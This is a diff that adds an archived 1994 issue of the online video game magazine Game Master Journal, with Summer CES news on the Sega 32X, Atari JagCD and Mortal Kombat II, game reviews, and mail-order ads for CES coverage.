[-=-] [-=-] [-=-] [-=-] [-=-] + Sega displays 32X + [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] + Sega leads the pack in 32-bit gaming with the impending release of the + Genesis 32X upgrade. For only $149, Genesis owners will be able to access + "the next level" of video gaming. + + The Genesis 32X employes two parallel 32-bit SH2 RISC chips which can produce + over 32,000 colors, improved polygon graphics, texture mapping and realistic + FMV for the Sega CD (without an MPEG cart.) + + Companies already signed on to publish for the 32X include: + Absolute Entertainment + Accolade (Bubsy) + Acclaim (Mortal Kombat II, NBA Jam) + Activision + American Softworks + American Technos + Atlus Software + Capcom (Super Street Fighter II) + Capitol Multimedia + Core Design + Crystal Dynamics + Domark Software + GameTek (Jeopardy, Wheel of Fortune) + Hi Tech Entertainment + Interplay (Clay Fighters) + JVC Musical Industries + Konami (America) (Rocket Knight Adventures) + Playmates Interactive (Earthworm Jim) + Rocket Science Games + The Software Toolworks + Sunsoft + Takara (Fatal Fury 2) + Time Warner Interactive (KLAX) + Twentieth Century Fox + Vic Tokai + Virgin Interactive (Cool Spot) + + The Saturn system will be coming in late '95 in the U.S. It will be a 'true + 32-bit system', but as of now it is unclear if the 32X games will be + compatible with it. + + [See CES report: part 2 for complete listing of 32X games.] + [See CES report: part 3 for interview with Bill White, Marketing VP.] + +:::: ADVERTISEMENT ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: +:: :: +:: __ ______ _ __ _ ____ __ __ :: +:: / / / / / /_(_)___ ___ ____ _/ /____ ( ) __ \/ // / :: +:: / / / / / __/ / __ `__ \/ __ `/ __/ _ \ |/ /_/ / // /_ :: +:: / /_/ / / /_/ / / / / / / /_/ / /_/ __/ \__, /__ __/ :: +:: \____/_/\__/_/_/ /_/ /_/\__,_/\__/\___/ /____/ /_/ :: +:: :: +:: _____ _________________ :: +:: / ___/__ ______ ___ ____ ___ ___ _____ / ____/ ____/ ___/ :: +:: \__ \/ / / / __ `__ \/ __ `__ \/ _ \/ ___/ / / / __/ \__ \ :: +:: ___/ / /_/ / / / / / / / / / / / __/ / / /___/ /___ ___/ / :: +:: /____/\__,_/_/ /_/ /_/_/ /_/ /_/\___/_/ \____/_____//____/ :: +:: :: +:: You've read the reviews - now SEE the moves! Exclusive video footage!! :: +:: :: +:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: +: : +: Video Source and GMJ have teamed up to create the ultimate Summer Consumer : +: Electronics Show video. Our video will contain: : +: : +: * direct feed of the hottest games, : +: * interviews from well known people from various companies, such as : +: Bill White from Sega and many more, : +: * previews of the 32X, Jaguar add-ons and Ultra 64! : +: * Mortal Kombat II, Donkey Cong Country, Super SF2, Alien vs. Predator, : +: Way of the Warrior, and more! : +: : +:Marty Chinn is known for running Video Source, day by day CES reports from : +:last winter, and the WCES video. GMJ is the #1 online gaming magazine : +:and without them, the interviews could not be possible. : +: : +:What a perfect team! : +: : +:The price of the video will be 12 dollars plus shipping. Shipping costs are: +:as follows: : +: : +: US: $3.00 Canada: $3.50 International: $10.00 : +: : +:Please make check or money orders payable to _Linda Chinn_ and send it to: : +: : +:>>>>>> Video Source : +:>>>>>> 973 Foxglove Dr. : +:>>>>>> Sunnyvale, CA 94086 : +: : +:OR - call 617.472.0041 and ask for the Summer CES video if you have : +:an Visa, MasterCard or Discover/Novus. Same Day shipping if you order : +:with a credit card! [After tape is complete: about 7/7/94.] : +: : +:Marty Chinn and GMJ are also a part of Project TNT and it will definately be: +:hot so don't hesitate to order your copy. TNT for in depth info and Video : +:Source and GMJ for the ultimate video, will give the CES experience to you. : +:Forget the rest, get the best. TNT and Video Source/GMJ. : +: : +:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: + [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] + Atari shows JagCD, Alien vs. Predator + [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] + Atari positioned themselves to make a dent into the 'big 2' with a strong + showing at the Summer CES. + + One of the most talked-about games in recent history is Alien vs. Predator, a + first-person shooter/maze game that lets you play the role of an Alien (based + on the series of movies), the Predator (based on the comic books) or a + soldier (to make the other two worry.) + + Each character has a unique story line, series of weapons to choose from, and + objective. The Alien can spit, slash and use her tail. The Predator can + fire, turn invisible and track characters well. The soldier has many guns, + can punch and is the best in tracking visible characters. + + The game is about 80% done and should be out this fall. + + [--] + + The JagCD was also shown at the Summer CES and was extremely impressive. The + JagCD will be coming out for Christmas and will retail at $200. + + The JagCD will have several games released with it this November. + Blue Lightning is a high-speed dogfighting game with 36 levels, many + baddies and more. Game save with optional RAM cart. + Battlemorph us a 3-D game with over 50 virtual worlds. Players can + choose betweem a fighter, tank or submarine - each with realistic 3D + movement. The game will take place underwater, on land, in caves or in + the sky. + Jack Nicklaus Cyber Golf will have VGA images if the Murfield Golf + Cource and CD quality voice to help out players on each hole. FMV of + Jack and other great golfers. + Other games include: Highlander, Creature Shock and Demolition Man. + + With each JagCD is a Virtual Light Machine built in. The VLM _listens_ to + the CD and produces an analysis of the sound in real-time. This information + is then translated into a series of graphics which are played on-screen. The + light show is truely amazing - perfect for parties if you hook it up to a + large screen TV. + + An optional MPEG cart will allow VideoCD moves to be played (no word yet if + the JagCD is 3DO or CDi compatible for movies.) + + [--] + + The Jag now has over 150 licensees, including some major players in the biz. + The list includes Time-Warner Interactive, JVC Musical Industries and 20th + Century Fox. Here is a partial listing: + 20th CENTURY FOX Acid Software Alfaro Corp. + B.S.A Bando Svenska AB Beris + BitMotion Software Bizzare Computing Celebrity Systems + Condor Software Cross Products DAP Devolpments + Data Design Denton Designs Diskimage + ELECTRO BRAIN Electrom Extreme + Factor 5 FLAIR SOFTWARE Frankenstein Soft. + Funcom Productions Human Soft. i-SPACE + iTHINK Inc. JVC MUSICAL INDUSTRIES Kungariket + Lost in Time Software MAILBU INTERACTIVE Media Technology + Merit Industries Michton Miracle Designs + Network 23 Neon-Buttner Odyssey Software + NMS Software Ltd. ORION TECHNOLOGIES Phoyx + Rage Software Rainmaker Software Reidel Software + Scangames Interactive Selgus Limited Shadowsoft + Sigma Designs Silmarlis Sinister Develop. + Soft Enterprises Softgold GMBH Software 2000 + Software Development Spaceball Technologies Steinberg Soft+Hard + Tantalus Entertainment Twilight TIME-WARNER + Visual Sciences Ltd. Wave Quest Inc. + + [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] + ACCLAIM debuts Mortal Kombat II + [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] + "Nothing, _nothing_ can prepare you!" for Mortal Kombat II, Acclaim's + sure-to-be hit of '94. Coming this September, this arcade port is nearly + "flawless", a great improvement over the original MK SNES and Genesis games. + + In the 80%-done version shown at the CES, all 12 characters were in the SNES + and Genesis versions, with all of their moves -- including the bloody + fatalities, nice friendships and funny babalities. The game plays __much__ + better this time around as I could pull off even the toughest-of-tough + Scorpion 7-hit Combo Of Doom[tm.] + + The Game Gear and Game Boy versions, both very good looking and playing, had + only 8 characters each. [Baraka, Raiden, Johnny Cage and Kung Lao didn't + make the "cut".] + + The game will come with a warning advising agaiinst people under 17 playing + the game. This was aparently enough to get all of the gory moves past the + big N. (If a rating system is in place the rating will suffice.) + + The game is a port of the version 3.1 machine, so there are no + babality-then-fatalities like you could in the revision 2 machines. + + The game will be released either on "Mortal Monday II", September 12th, or + "Fatal Friday", September 9th. Acclaim had problems with many stores selling + MK before "Mortal Monday" last year, so they may ship it on Thursday [instead + of Friday and hoping they hold it for the weekend.] + + The suggested prices will be: $74.95 for Super NES $34.95 for Game Boy + $64.95 for Genesis $44.95 for Game Gear + + [See CES report: part 2 on the many other games at Acclaim's cool booth + including Virtual Bart, WWF Raw, and NFL Quarterback Club.] + + [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] + CAPCOM unleashes Super Street Fighter II, amidst rumors of SSF2T + [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] + The largest interactive video wall was being used by Capcom, displaying + Super Street Fighter II for the Super NES. [The Genesis version was + mysteriously not there.] For SNES and Genesis this is coming July 21 for + about $80 and $65, respectively. + + All sixteen world warriors were in the game, which was an almost-direct + arcade translation. Each character has all of his/her moves, combos, + clothing [or lack thereof], and stages - which were beautiful in the SNES + version. There are selectable speeds (you could, for instance, play at + SSF2 Turbo speed) and you ucan configure your controller to your liking. + + The sound and graphics were translated almost perfectly, with only a few + problems (the announcer no longer says "Round One, Fight!", for instance.) + + There are several ways to play SSF2. There is the standard mode, where you + beat everyone and face M.Bison in Thailand, but there are more creative modes + as well. In Group Battle, you and your friend pick several characters to + play as and you must beat every one of your friend's characters to win. + There's also Time Challenge where you race the clock to finish opponents, and + the Vs. Mode where the scores are dropped and you get a Mortal Kombat-like + scoring system (lists number of total wins, and number of wins in a row.) + + Clocking in at a record 32 megs for SNES, and _40_ for the Genesis, this game + is a heavyweight. + + Opinion of the game seemed to be: "great game, but _another_ upgrade?" Most + people that like SF2 liked the game.. but if you already own an SF2 game it + may not be worth the $80. + + [-=-{}-=-] [-=-{}-=-] [-=-{}-=-] [-=-{}-=-] [-=-{}-=-] [-=-{}-=-] [-=-{}-=-] + ____ __ __ _ _ + by: / ___| \/ | | ( )__ Top and Bottom Five responses to + Back Door | | _| |\/| |_ | |/ __| the phrases "online magazine" + Weasel | |_| | | | | |_| |\__ \ and "Game Master Journl" at the CES + _____ \____|_| |_|\___/ |___/ + | __ \ TOP FIVE [#1 = best] BOTTOM FIVE [#1 = worst] + | |__) | #1 "Game Master Journal? "GMJ? Is that like EGM?" + | _ / I've seen you on the Net." - United Press guy + | | \ \ - VP of videogame company + |_| \_\ eal #2 "Where's Tanya [Kutasz]?" "I hope this check doesn't + | | - editor of a printed mag bounce." - Ross Erickson, + | | editor of Game Bytes + | | #3 "Online magazines are the "Oh, I thought you were + | |____ wave of the future..." from that U.K. mag" - many + \______| ife - AOL and Prodigy speaking of 'Game Masters' + | __ \ #4 "You're free - How do you "Online? What's that?" + | |__) | make money?" -Ad manager - too many people to count + | _ / of SNES game company + | | \ \ #5 "Fifty issues, that's "Ahh - that fanzine." + |_| \_\ ankings great.." - Other emag - EGM weasels + + [-=-{}-=-] [-=-{}-=-] [-=-{}-=-] [-=-{}-=-] [-=-{}-=-] [-=-{}-=-] [-=-{}-=-] + ____________________________________________________________________ + | | + | #### # # #### ##### #### % % %%%%% %%%% R E V I E W S | + | # # # # # # # # %% % % % R E V I E W S | + | ### # # # # ## ##### % % % %% %%% R E V I E W S | + | # # # #### # # # % % % % % R E V I E W S | + | # # # # # # # # % %% % % % R E V I E W S | + | ### ### # ##### # # % % %%%%% %%% R E V I E W S | + |____________________________________________________________________| ++=============================================================================+ +|TITLE: DEVOLPER/PUBLISHER GAME TYPE: SIZE: AVERAGE OF REVIEWS | +| Fifa International Electronic Arts Soccer 8 Meg ..................96| +| Soccer Sports #####@@@@@&&&&&%%%% | +| | +|MAIN REVIEW BY: OTHER REVIEWERS | +| | +| Cue 98 Ace 94 | +| | ++=============================================================================+ + + Fifa International Soccer + + Look out World Cup fans, this game is the one you've been waiting for. +The best soccer game on the Genesis system finally is on your Super Nintendo, +and is just as good, if not BETTER. Let's get to the nitty-gritty. + Graphically, this game is good. The players are nice a medium sized for a +soccer game. The field is, well, a field. The game is just right for a soccer +sports game, and that's all you have to know for this one. It looks good, +plays well, and it's not sluggish. What more do you want? + The sound in this game is excellent. From the "EA SPORTS - IT'S IN THE +GAME" (which by the way sounds much better then I've ever heard it), to the +crowd chanting musically in the background as the ball is played up the field. +The background music when starting the game, during halftime, choosing options +and so on, has a great beat, and a good tune. The actual sounds of players +hitting the ball, and hitting each other, are adequate for a soccer game. + Now comes the fun part! :) First, let me start by saying the control on +this game is beyond good. You tell a player to move a certain direction, he +moves. You tell him to pass, he passes. You tell him to shoot, headbutt, +pele, whatever, and the player will do it. So in other words, the control is +good. Speaking of control, control over the team is great too. The game has +all 30 "international" soccer teams programmed in, with all the players, and +all the stats. You can substitute and the such. + But no folks, that's NOT all. You can change many things, such as fouls +on or off, offsides, field conditions, field type, time of game, Goal Keepers +(automatic or manual), and if you want a power bar or not. Then of course, on +the field, or just before you go onto the field, you can arrange the team +coverage, the team strategy (as in long ball, all out attack etc.), the team +formation (as in 2-5-2, 4-4-2, Sweeper, etc.) and your starting line. + You say to yourself, well, what a game. And I say, there's MORE! You can +either play an exhibition game, a tournament, a league, even playoffs, and +everything will be stored in password format. + Electronic Arts sure didn't let me down with this one. Fifa Soccer is a +game to buy if you like sports, or even if you don't! The game has got some +great features, so great sound, some great graphics, and some great other neato +stuff to, but I'll let you find that! + +P.S. Also, for you readers who happen to have a PC, Fifa International Soccer + is COMING to your IBM system real soon. It will be in CD-Rom and Disk + format, so watch for this one, because the graphics look almost real! + + +Cue - 98 - WOW! This game is fantastic. Enough said. The only reason it + didn't go 99 or perfect, is because of two reasons. 1.The USA + team doesn't have higher ratings :), and 2. At times, when the + ball is out of bounds, it sticks a little. Not a big deal, but + it would have been easy to correct. + +Ace - 94 - Solid sports title by EA. Gee, how many times have we said THAT + about them? USA is _not_ that bad.. I mean, they are in Round 2 + aren't they? I like the goalie controls (punch, catch, etc.) + and ESPECIALLY the crowd. + ++=============================================================================+ +|TITLE: DEVOLPER/PUBLISHER GAME TYPE: SIZE: AVERAGE OF REVIEWS | +| Steven Seagal is TecMagik & Action 16 MEG ..................88| +| The Final Option RSP Inc. Adventure +| | +|MAIN REVIEW BY: | +| | +| Cue 92 | +| ---------- | +| | ++=============================================================================+ + + Steven Seagal Is The Final Option + + Well, to start off with, I'm a big fan of Steven Seagal. I love all the +action movies he does, and must say he is one of the best action fighters there +is (yes, even better then Stalone a.k.a. Rocky), and this video game brings +Seagal home to you, like never before. + Graphically, this game is great. Seagal is digitized, the enemies are +digitized, and the animation is smooth. Figure Mortal Kombat with Mr. Seagal. +It looks to me as though they digitized Seagal doing his moves and placed them +into the game, making the graphics very realistic. His punches and kicks vary +from time to time, looking as excellent as could be. When he walks, he even +swings the arm farther away from you. Graphically, this game is great. + Soundwise, I can't say too much. Knowing that this version will not be the +final release, I hope they can improve it a bit. The Ughs and Owes are there +and all, but there just isn't enough for a hit off sound rating. The music is +classic action movie type music, however, the sound effects get very +repetitive. But, what can you expect from a side scroller? + With gameplay, it gets boring after a while. It's basically: go around in +this level maze, looking for the bad guys, beating them up, and trying to find +the way out. It can get challenging, but after playing through a few boards, +it really get's repetitive. Control is pretty constant, but not perfect. You +may think you jumped enough to clear a ditch, but you actually didn't. +Sometimes it happens, sometimes it doesn't. + In all, this game is a 'rent-before-you-buy'. I like it, and recommend it +to those who want to see some great graphics, and those who like Steven Seagal. +However, if you don't want a game where you just walk around killing people +(no, not like Doom), then this game is not for you. Otherwise, go rent this +game. + +Cue - 88 - Well, nice graphics, OK sound, and OK playabllity. I personally + wouldn't buy it because I could probably beat it in a night. Oh + well, c la vi. + ++=============================================================================+ +|TITLE: DEVOLPER/PUBLISHER GAME TYPE: SIZE: AVERAGE OF REVIEWS | +| Wild Guns Natsume Shoot-em 8 Meg ..................98| +| Up #####@@@@@&&&&&%%% | +| | +|MAIN REVIEW BY: OTHER REVIEWERS | +| | +| Cue 98 | +| | ++=============================================================================+ + + Wild Guns + + Well now... This is one is a keeper. This is a great shoot-em-up type +game. The only thing I might have liked would be the ability to use a gun like +in Lethal Enforcers, but who knows! + Graphically, the game is cartoony, which is good in this case. Lethal +Enforcers was a great game with a gun where you point and shoot. But this one +I enjoyed more, for there was much more on the screen to pay attention to. The +detail is fantastic and control is easy. You have the choice of two people, 1 +being Clint(how appropriate) and one being Annie(uhhh). Again, graphically, +they both look very detailed, and are a matched set. The bullets are big +flashing colored balls, which in this case really is better, for you can see it +coming at you. The backgrounds are done very well too. The 3D effect is well +done. + The sound in this game is basic western type music. If you could call +music cartoony, I would do just that. The music was well composed, or stolen, +whatever the case may be. The sound effects of firing off your pistol, +shotgun, machine gun, rocket launcher, or whatever else you happen to find in +this game are all perfectly sampled in. The Ughs and such from each of the +characters is also a nice touch. In all, sound is done very well in this game. + This game plays well, period. People may disagree with me saying that +it's hard to follow your little circle in which you fire. Well, you can tell +me, which is harder, using a gun which may not be accurate at all, or using +your pad which you know is. If mouse support was added to this game, it would +work out perfectly. When bullets do come at you, your character has a little +bubble that appears saying "Look out". When you see that, get OUT OF THE WAY +unless you want to die. Again, this game is pretty easy to learn. + The game has two different modes, one being a regular game start (1 or 2 +people simultaneously) and a Vs. mode which I found very interesting. In Vs. +mode, you and the computer, or you and a friend, go into a shooting frenzy, as +characters big as life appear before you in different background areas. The +object is to shoot as many as you can, and collect as much gold as you can +(which appears after shooting some characters). Whoever has the most points at +the end wins. This can get a bit harry when playing the computer because of +the accuracy, but I've beaten it a few times. + In summary, this game is a game for those people who just like to shoot +things (no doomers, not kill things, shoot things). The control is pretty +good, graphics are great, and the sound is great. In all, rent the game, like +it, and buy it. + +Cue - 98 - I'm not one who generally goes for this type of game, but I must + say that this one was very well done. Added mouse support would + be excellent, as it would definitely improve Gameplay. + +[====| ADVERTISEMENT |=======================================================] + + TNT continues to be the least expensive comprehensive provider of game + information for individual game systems. While CES video tapes (covering + specific systems or the show in general) will cost you between $15 and $25 + with shipping costs, TNT costs only $6.00 for basic show coverage and $11 for + both basic coverage and your choice of game system packages, total -- no + shipping cost in the USA! 19 writers will be contributing to TNT, ensuring the + maximum quantity of gaming news for the dollar. + + ******************/\********************************************************* + *****************/ /********* A Renegade Technologies Unlimited Production ** + ****************/ /********************************************************** + ** _______ /\ / /_______ ****************************** _ ************** + **/__ __// \/ //__ __/ *** / ********************* @\ ___ **** + ** / / / /\ / / / *** / ********** ___ ___ | | | | *** + ** / / / / / / / / *** \ | | |\/| |\/| | | ] [___| [___| *** + **/_/ / / /_/ /_/ *** \ | | | | | | |___ [___] | | *** + ******/ /******************** / | | | | | | | | \ | | *** + *****/ /* -The Next Thing- ** / [__] | | | | [___ | \ | | *** + *****\/********************************************************************** + ***************************************************************************** + ** Get Your Hands On The Single Best Summer CES Resource Available! ** + ***************************************************************************** + + Think back six months or a year to the last time you read a CES report + on the Internet. Remember all the people who said they would show up and + post a series of reports with everything they saw? Most of them never did. + After Summer CES '93, Renegade Technologies Unlimited came back with answers + to questions asked by Internet gamers and followed up by unleashing hundreds + of pages of text including question-and-answer sessions with the Internet + gaming public, a list of every game shown with ratings/comments, digitized + photographs and even sound files from then-unreleased games such as Street + Fighter II Champion Edition for the Genesis. After Winter CES '94, we + coordinated online interviews with show participants and made their + transcripts available within 24 hours. + Now we're shining our shoes and ironing our clothes in preparation for + the 1994 Summer Consumer Electronics Show. Less than a month from today + (June 23-25), 19 TNT staffers will take to the show floors of McCormick Place + and bring back incredible insights into the next year of video game products. + You read it correctly, "insights." Not just some guy summarizing Virtua + Fighters in one-syllable words; we're talking about pages of solid text and + pictures devoted to bringing home the whole story behind the SCES. + TNT (The Next Thing) magazine was conceived as the end-all-be-all of + SCES coverage, combining audio, video and written reports in an effort to + save the average gamer $500+ on airfare and hotel accommodations. We do all + the footwork, we ask all the questions, and we burn ourselves out. You sit + at home playing video games and receive a big envelope in the mail. It's + simple and it will work -- just ask any of the people who have already + subscribed to TNT about our high quality customer service. One issue only, + no continuing obligations, arriving in mid-July... but read on. + Take a look back at some of your old game magazines. How much CES + coverage did you find? 10 pages? Maybe 15 at best? That's not coverage, that's + shameful -- this is a 3-day event with hundreds of exhibitors, and everyone + has something interesting to show. Ever wonder why the major gaming mags + can only squeeze a few pages of information out of a show that lasts for + three or four days? Answer: Their "writers" don't pay much attention. Snap a + picture, make up a 30-word synopsis, and that's what the game was like at CES. + The high-quality TNT magazine will be a hardcopy printed booklet with + many pages devoted to the show's general highlights and notable events. The + magazine will feature sections devoted to showing the best games (regardless + of system) in each major genre, a look at the keynote speech by Nintendo's + Howard Lincoln, and some beautiful artwork by TNT's own Russell Kumro. For + the reader's maximum enjoyment, additional computer disks [available in IBM + and Macintosh formats] will carry photographs (and perhaps digitized sound + files) from the show, highlighting each major hardware-producer's licensees + and displays. Does TNT sound like it will kill your pocketbook? It won't, + because we designed the magazine around four principles to be flexible enough + to accommodate many types of readers. + + [*] Flexibility: [*] Today's gamer owns two or three systems and generally + despises competing companies. Do you own a 3DO and hate + Atari and their Jaguar? Or a Genesis and hate Nintendo? + Well, don't spend the money on information you'll just + skip anyway. The TNT magazine is available in + your choice of configurations -- you pick the systems + you want and we'll send you the appropriate disks and + printed materials. + + [*] Cost-Efficiency: [*] The printed TNT magazine with CES highlights will + cost only $6.00, a better value than what you would + get (a crappy five-page synopsis) in the average + mainstream magazine. Each company-specific set of + disks and additional printed materials will cost + an additional $5.00, and a disk of miscellaneous + photos and out-takes will be only $4.00. That + miscellaneous disk will include pictures from + companies like Sony, TTI and Commodore (if any + of them show up for CES). We're selling Atari, + Nintendo, Sega and 3DO company disks which will + include the aforementioned companies' licensees + as well. If you want to buy the whole + compendium of CES information, the price is $26. + + [*] Functionality: [*] IBM or Macintosh disks will be included with + each company-specific or miscellaneous/outtakes- disk + order. The photographs will be in a format maximized + for compression and photo quality. You'd be amazed + at how much high resolution detail we were able to + squeeze into the last Summer CES photos; more, + believe it or not, than could be seen without a + magnifying glass. The printed magazine can be kept + on your desk, framed above your fireplace or used as + a security blanket. Regardless of what you do with + it, it'll look cool and contain entertaining insights + into the real nature of the CES show. + + [*] Quick Delivery: [*] Here's the best part. Waiting sucks and no one knows + it better than Team Renegade and you. We're making a + guarantee that TNT will be released at a *maximum* of + three weeks after CES. We're going to try for two + weeks or less, but we can't control everything. + Remember, we're not talking about just printing + regurgitated press releases and press kit photos; + you'll see the former on the Internet within a day of + release to the media. TNT will feature the types of + nook and cranny questions no one seems to ask. + + Renegade Technologies Unlimited is committed to the production of an + exceptional piece of journalism. The TNT magazine will be both comprehensive + and professionally produced, delivered faster than the major magazines and + far more insightful for certain. RTU will be maintaining a professional + set of records for those who order TNT in advance and we make an absolute + guarantee that if we cannot deliver the product we will instantly refund + your money. Additionally, if Sega and their licensees have no presence at + the CES (which is quite doubtful), we'll refund the cost of the Sega-specific + diskettes. + Want to see the quality of our past work? Check out the BUSOP.CIT.WAYNE. + EDU site (cd pub/ces and pub/pselect) for high quality photographs, game + reviews and information... or read the work of our staff in such publications + as GamePro, VideoGames magazine, Wired, Intelligent Gamer, VidBits and Game + Bytes. You'll appreciate our devotion to customer satisfaction and the degree + of our attention to properly handling your order. + Order today and be guaranteed the best *honest* information directly + after the Summer CES... and next time someone promises that they'll ask your + questions and bring you the answers, remember who did it first and who does + it best. + + Jer Horwitz + President + Renegade Technologies + - Unlimited - + + [PLEASE NOTE: There is no shipping charge for orders within the United States. + TNT is not necessarily endorsed by Atari, Nintendo, Sega, 3DO or any company + other than Renegade Technologies Unlimited. We thank the editors of Game + Master Journal, Intelligent Gamer and the former Vidbits for their continuing + support and endorsement.] + + ******************/\********************************************************* + *****************/ /********* A Renegade Technologies Unlimited Production ** + ****************/ /********************************************************** + ** _______ /\ / /_______ *************************************************** + **/__ __// \/ //__ __/ ** __ __ ** + ** / / / /\ / / / ** [ ] __ _ __ __ | __ __ ** + ** / / / / / / / / ** | | [ ] | \ [ [ ] | [ ] [ ] |\ /| ** + **/_/ / / /_/ /_/ ** | | [__] | | |__ [__] [__ | | |__] | \/ | ** + ******/ /******************* | | | \ | | | | \ | | | | \ | | ** + *****/ /* -The Next Thing- * [__] | \ [_/ [__ | \ | [__] | \ | | ** + *****\/********************************************************************** + ***************************************************************************** + ** Print It Out, Grab A Check or Money Order, Then Mail It To Us! ** + ***************************************************************************** + + Number + of Copies: + + [ ] TNT Printed Magazine: Includes detailed information about the best + [ ] and worst at CES; contains no disks but will include some printed + digitized photographs. A high-quality printed publication without + the childish handwriting you find in "fanzines." $6.00 per copy. + + [ ] TNT Extended Atari Coverage: Get the inside track on Atari's booth + [ ] at the CES, where nearly 100 developers have signed on to develop + Jaguar products. $5.00 per Atari extension. Includes: + Macintosh or IBM disk(s), circle your choice. + + [ ] TNT Extended Nintendo Coverage: See what Nintendo and its licensees + [ ] will be selling during the Christmas shopping season. Project Reality? + New portable Nintendo game systems? SNES Super Street Fighter 2 and + Mortal Kombat 2? $5.00 per Nintendo extension. Includes: + Macintosh or IBM disk(s), circle your choice. + + [ ] TNT Extended Sega Coverage: Despite plans to hold their own Sega show + [ ] in sunny Florida, there should most likely be a ample representation + of Sega software at Summer CES. A Genesis Mortal Kombat 2 and Super + SF2? Saturn? $5.00 per Sega extension. Includes: + Macintosh or IBM disk(s), circle your choice. + + [ ] TNT Extended 3DO Coverage: With a powerful multimedia machine and + [ ] several hundred licensees, there will be plenty of amazing 3DO + hardware and software on display. The new Samsung 3DO machine? The + IBM-compatible 3DO-on-a-card? $5.00 per 3DO extension. Includes: + Macintosh or IBM disk(s), circle your choice. + + [ ] TNT Miscellaneous and Outtakes Disks: The types of stuff we couldn't + [ ] quite categorize elsewhere. Last Summer CES had photos of Neon Man, + this incredibly dopey guy who did exercises in neon-tubed clothing + so he could sell neon lights for cars. We'd also anticipate some + shots of Sony's PS-X (if they choose to display it), any TTI game + system, Commodore CD-32 and the like. When you're not crying about + TTI, you can laugh at morons like Neon Man. $4.00, Includes: + Macintosh or IBM disk(s), circle your choice. + + [ ] TNT Grand Package: For $26 you get the magazine and all the extensions + [ ] including their disks and printed hardcopies. Specify IBM or Mac disks. + + TNT will be mailed to the following address: + + Name/Business: _____________________________________________ + + + Street Address: ____________________________________________ + + + City, State, Zip: __________________________________________ + + + * Country: _________________________________________________ + + Phone Number At Which You Can Be Reached (and appropriate hours): + + + (________) ________ - ___________ ____________________________ + + Internet Address (or other Electronic Service) (Please be accurate): + + + _______________________ @ ____________________________________________ + + Special Deal (if any, see below): + + + _________________________________________ + + * INTERNATIONAL ORDERS ONLY: Type of Shipping Preferred: + + + ______________________________ (Parcel Post/Printed Matter; include payment) + + ****************************************************************************** + ******************************* - Clip Here - ******************************** + + RTU recommends the use of US Mail Postal Money Orders but will also + accept valid personal checks and other legitimate types of money + orders. Checks should be made out to Renegade Technologies Unlimited. + + * = International orders, please see the table below and include + international shipping charges. + + International TNT Orders: + + International TNT orders will be accepted with payment in United States + funds only, and we advise use of either American Express money orders or + cashiers' checks from large international banks. The rates quoted below are + for US Mail standard international service and are based upon estimates of + package weight -- we do not intend to profit from shipping costs and RTU will + absorb losses if the magazine is heavier than anticipated. US Mail currently + claims the following rates will deliver a package within 7-10 days of mailing; + RTU makes no guarantees regarding the US Mail's system of international + deliveries but we do guarantee that RTU will promptly mail all materials to + you upon completion of the publication. Sorry, we cannot accept Eurocard or + other credit cards for orders. + + Overseas mailing rates (in Europe [outside of the United States]): + + Printed Matter Rate for any TNT order (take some risk of damage given + disk contents, though we'll try to prevent it on this end): add $7.00 for + shipping. + + Parcel Post Rates (treated like packages, with somewhat more care): + For the TNT magazine without any additional supplements: add $4 for shipping. + For TNT with one supplement: add $5.50 for shipping. + For TNT with two supplements: add $7.00 for shipping. + For TNT with three supplements: add $8.50 for shipping. + For the TNT Grand Package (or 4 supplements): add $9.25 for shipping. + + Canadian and Mexican (hehe) mailing rates: + + Printed Matter Rate for any TNT order (take some risk of damage given + disk contents, though we'll try to prevent it on this end): add $4.00 for + shipping. + + Parcel Post Rates (treated like packages, with somewhat more care): + + For the TNT magazine without additional supplements: add $2.50 for shipping. + For TNT with one supplement: add $3.75 for shipping. + For TNT with two supplements: add $5.00 for shipping. + For the TNT Grand Package (or 3-4 supplements): add $5.50 for shipping. + + * USA mailing rates: + + There is no additional shipping charge for orders delivered to addresses in + the United States. + + Please mail completed order form and appropriate payment to: + + Renegade Technologies Unlimited + 37 LeBrun Circle + Amherst, New York 14226-4120 + USA + Attention: TNT Magazine (GMJ) + + _____________________________________________________________________________ +[ ] +[ COMING IN THE NEXT [*] 3DO coverage, including Way of the Warrior ] +[ ____ __ __ _ [*] Catapult report: not just a press release! ] +[ / ___| \/ | | | [*] 3rd-party Super NES and Genesis games ] +[ | | _| |\/| |_ | | [*] Return of our email contest and Express Mail ] +[ | |_| | | | | |_| | [*] Interviews, interviews, interviews, and more! ] +[ \____|_| |_|\___/ ] +[_____________________________________________________________________________] + +Producer: Anthony Shubert Online Layout Editor: "Ace" Anthony Shubert +Head Writing Staff: Contributors: + HEAD EDITOR "Cue" David Rubin Back Door Weasel (Mike Waters) + ARCADE EDITOR "Eli" Jeff Sauls Matrix (Timothy Shubert) + PC EDITOR "Arkady" Tanya Kutasz Shez (Sharon Birdsall) + + We are not affiliated with or endorsed by the following companies: Nintendo of + America, Sega Enterprises, Turbo Technologies (NEC), Atari Corp., Atari Games, + 3DO, or any other videogaming company. + + Product names are either (c) or trademarks of their respective companies, and + the non-marking of such product is not a challenge to its status. + + Ace's Angles, Chronicle, Express Mail, Warp Zone, and all content are + (c) 1990, 1991, 1992, 1993, 1994 Innovative Creations + + :: Some ASCII/ANSI work created with use of 'TheDraw' SW program :: + :: Some ASCII work created with use of 'Figlet' freeware program :: + + + + \ No newline at end of file diff --git a/textfiles.com/games/gmj51.d70 b/textfiles.com/games/gmj51.d70 new file mode 100644 index 00000000..dbadb7f4 --- /dev/null +++ b/textfiles.com/games/gmj51.d70 @@ -0,0 +1,974 @@ ++==| Super NES |==| Genesis |==| Arcade |==| Jaguar |==| News |==| Opinion |==+ +| ____ __ 